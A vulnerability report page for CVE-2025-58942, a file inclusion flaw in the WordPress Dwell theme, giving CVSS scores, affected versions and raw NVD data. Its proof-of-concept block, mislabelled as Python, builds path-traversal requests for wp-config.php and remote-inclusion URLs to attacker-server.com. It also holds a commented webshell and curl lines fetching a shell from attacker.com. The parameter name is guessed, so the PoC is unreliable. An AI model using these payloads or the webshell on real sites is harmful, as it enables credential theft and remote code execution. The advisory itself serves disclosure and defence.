Security Vulnerability Report
中文
CVE-2025-58942 CVSS 8.1 HIGH

CVE-2025-58942

Published: 2025-12-18 08:16:02
Last Modified: 2026-04-27 20:16:21

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Dwell dwell allows PHP Local File Inclusion.This issue affects Dwell: from n/a through <= 1.7.0.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:dwell:*:*:*:*:*:wordpress:*:* - VULNERABLE
Dwell Theme <= 1.7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-58942 PoC - WordPress Dwell Theme Local File Inclusion * Affected: Dwell Theme <= 1.7.0 * Type: Remote File Inclusion / Local File Inclusion */ // PoC for Local File Inclusion - Read sensitive files $target_url = 'http://target-site.com/'; $vulnerable_param = 'theme_page'; // Common parameter name // LFI PoC - Read wp-config.php $lfi_payload = '../../../../wp-config.php'; $lfi_url = $target_url . '?' . $vulnerable_param . '=' . urlencode($lfi_payload); echo "[*] CVE-2025-58942 PoC - Local File Inclusion\n"; echo "[*] Target: " . $target_url . "\n"; echo "[*] Payload: " . $lfi_payload . "\n"; echo "[*] Request URL: " . $lfi_url . "\n\n"; // RFI PoC - Remote code execution (if allow_url_include is enabled) $remote_payload = 'http://attacker-server.com/malicious.php'; $rfi_url = $target_url . '?' . $vulnerable_param . '=' . urlencode($remote_payload); echo "[*] RFI PoC - Remote Code Execution\n"; echo "[*] Request URL: " . $rfi_url . "\n"; echo "[*] Attacker controlled PHP file: http://attacker-server.com/malicious.php\n"; // Example malicious.php content: /* <?php // Create backdoor if(isset($_GET['cmd'])) { system($_GET['cmd']); } // Or webshell @eval($_POST['backdoor']); ?> */ // curl exploitation example: // curl 'http://target.com/?theme_page=../../../../wp-config.php' // curl 'http://target.com/?theme_page=http://attacker.com/shell.txt' ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58942", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:01.833", "lastModified": "2026-04-27T20:16:21.300", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Dwell dwell allows PHP Local File Inclusion.This issue affects Dwell: from n/a through <= 1.7.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:dwell:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.7.0", "matchCriteriaId": "5578D724-B930-423F-9022-D182D72143EB"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/dwell/vulnerability/wordpress-dwell-theme-1-7-0-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}